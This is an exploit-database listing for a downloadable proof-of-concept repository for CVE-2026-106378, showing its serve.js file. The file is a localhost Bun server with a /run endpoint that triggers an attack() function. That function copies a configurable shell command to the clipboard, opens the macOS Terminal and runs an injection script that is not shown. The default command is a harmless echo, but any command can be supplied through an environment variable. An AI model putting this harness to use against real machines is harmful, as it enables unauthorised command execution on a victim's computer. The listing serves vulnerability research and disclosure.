Exploit database

GH-6ee9e0e5ca7074c1ef628abead3b5bad

leisureprog/cve-2026-106378

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-106378

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files6
leisureprog/cve-2026-106378Revision f26a91d2ee66

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

serve.js

JavaScript · 1,414 bytes
import { join, extname, normalize } from "node:path";

const PORT = Number(process.env.PORT ?? 8730);
const SITES = join(import.meta.dir, "sites");
const INJECT = join(import.meta.dir, "cdp", "system.js");
const COMMAND = process.env.COMMAND ?? 'echo "Hello world"';

const TYPES = {
  ".html": "text/html; charset=utf-8",
  ".css": "text/css; charset=utf-8",
  ".js": "text/javascript; charset=utf-8",
};

function inject() {
  const proc = Bun.spawnSync(["bun", INJECT], {
    stdout: "pipe",
    stderr: "pipe",
  });
  return {
    ok: proc.exitCode === 0,
    out: proc.stdout.toString().trim(),
    err: proc.stderr.toString().trim(),
  };
}

async function attack() {
  Bun.spawnSync(["pbcopy"], { stdin: Buffer.from(COMMAND) });
  Bun.spawnSync(["open", "-a", "Terminal"]);
  await Bun.sleep(1500);
  return { command: COMMAND, ...inject() };
}

Bun.serve({
  hostname: "127.0.0.1",
  port: PORT,
  async fetch(req) {
    const url = new URL(req.url);
    if (url.pathname === "/run") return Response.json(await attack());
    const rel = url.pathname === "/" ? "/index.html" : url.pathname;
    const file = Bun.file(join(SITES, normalize(rel)));
    if (!(await file.exists()))
      return new Response("not found", { status: 404 });
    return new Response(file, {
      headers: { "content-type": TYPES[extname(rel)] ?? "text/plain" },
    });
  },
});

console.log(`lab  http://127.0.0.1:${PORT}/`);